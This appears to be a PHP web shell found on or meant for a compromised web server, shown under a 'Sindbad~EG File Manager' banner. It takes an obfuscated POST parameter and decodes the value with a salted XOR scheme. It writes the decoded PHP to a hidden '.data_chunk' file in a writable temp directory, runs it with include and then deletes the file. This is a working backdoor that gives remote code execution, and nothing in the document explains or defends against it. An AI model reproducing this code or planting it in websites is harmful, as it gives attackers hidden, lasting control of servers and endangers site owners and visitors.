Sindbad~EG File Manager

<?php

if(isset($_POST["rec\x6F\x72d"])){
	$ent = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir()]);
	$factor = $_POST["rec\x6F\x72d"];
				$factor		=explode		(  	'.' , 	 $factor);	 
	$flg='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen(	$salt);
    
            foreach(	$factor as $u	=>		$v7) {	$sChar=ord(	$salt[$u % $lenS]);
                $dec=(	(	int)$v7 - $sChar -(	$u % 10)) ^ 82;
                $flg .=chr(	$dec);}		
	foreach ($ent as $comp):
    		if ((is_dir($comp) and is_writable($comp))) {
    $k = vsprintf("%s/%s", [$comp, ".data_chunk"]);
    if (@file_put_contents($k, $flg) !== false) {
	include $k;
	unlink($k);
	exit;
}
}
endforeach;
}